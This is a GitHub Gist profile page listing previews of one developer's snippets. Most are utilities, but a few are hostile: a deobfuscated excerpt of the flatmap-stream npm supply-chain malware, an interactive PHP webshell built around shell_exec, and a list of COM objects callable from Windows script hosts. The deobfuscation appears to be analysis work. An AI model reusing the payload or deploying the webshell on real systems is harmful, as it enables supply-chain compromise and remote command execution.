Skip to content

Instantly share code, notes, and snippets.

View mrpapercut's full-sized avatar

Mischa Rodermond mrpapercut

View GitHub Profile
@mrpapercut
mrpapercut / createElement.js
Last active September 30, 2023 00:52
ES6-only createElement function
const createElement = (tagname = '') => {
return (...content) => {
const el = document.createElement(tagname);
if (content[0] instanceof Object && !(content[0] instanceof HTMLElement)) {
let attributes = content.shift();
for (let attr in attributes) {
switch (attr) {
case 'events':
@mrpapercut
mrpapercut / decrypted1.js
Last active April 24, 2020 08:32
flatmap-stream deobfuscated
/*@@*/
module.exports = function (e) {
try {
if (!/build\:.*\-release/.test(process.argv[2]))
return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
@mrpapercut
mrpapercut / binaryclock.js
Last active July 1, 2018 10:30
Binary clock
document.body.style.background ='#000';
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth - 20;
canvas.height = window.innerHeight - 20;
document.body.appendChild(canvas);
@mrpapercut
mrpapercut / base64_encode.js
Created June 10, 2018 19:34
base64_encoder.js
const base64_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
'abcdefghijklmnopqrstuvwxyz' +
'0123456789+/';
const base64_encode = (input) => {
let length = input.length;
let [i, j, k, s] = [0, 0, 0, 0];
let char_array_3 = new Array(3);
@mrpapercut
mrpapercut / shell.php
Last active February 5, 2025 11:08
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@mrpapercut
mrpapercut / 01.Callable_COM_Objects.txt
Last active September 29, 2023 13:22
Callable & uncallable COMObjects in wscript/cscript
// The following COMobjects are all callable in cscript with WScript.CreateObject(COMObject)
ADODB.Command is callable!
ADODB.Command.6.0 is callable!
ADODB.Connection is callable!
ADODB.Connection.6.0 is callable!
ADODB.Error is callable!
ADODB.Error.6.0 is callable!
ADODB.Parameter is callable!
ADODB.Parameter.6.0 is callable!
ADODB.Record is callable!
@mrpapercut
mrpapercut / Counter.js
Created March 30, 2018 07:59
ES Modules
class Counter {
constructor() {
this.n = 0;
}
count() {
return this.n++;
}
}
import moment from 'moment-timezone';
const isFridayFiveOClock = () => {
const curtime = moment().tz('Europe/Amsterdam');
const nextFriday = moment().tz('Europe/Amsterdam').day(5).hour(17).minute(0).seconds(0);
if (moment().format('d') >= 5) {
nextFriday.add(1, 'week');
}
@mrpapercut
mrpapercut / generator.php
Created May 19, 2017 11:02
Generate strong passwords with PHP
<?php
$symbols = str_split('!$%@#');
$chars = str_split('abcdefghijklmnopqrstuvwxyz0123456789');
$pwlen = isset($_POST['len']) ? (int) $_POST['len'] : 64;
$pwlen = $pwlen > 1024 ? 1024 : $pwlen; // Max length: 1024
$useSyms = isset($_POST['sym']) && $_POST['sym'] === '0' ? false : true;
$passArr = array();
function getRand() {
@mrpapercut
mrpapercut / SunriseSunset.js
Last active January 5, 2022 11:47
Philips Hue automatic lighting based on sunrise/sunset
/**
* Automatically turns on lights based on sunrise/sunset
* Usage: use cronjob to trigger every night after midnight
*
* NPM packages required: superagent, node-hue-api
*/
import request from 'superagent';
import HueApi from 'node-hue-api';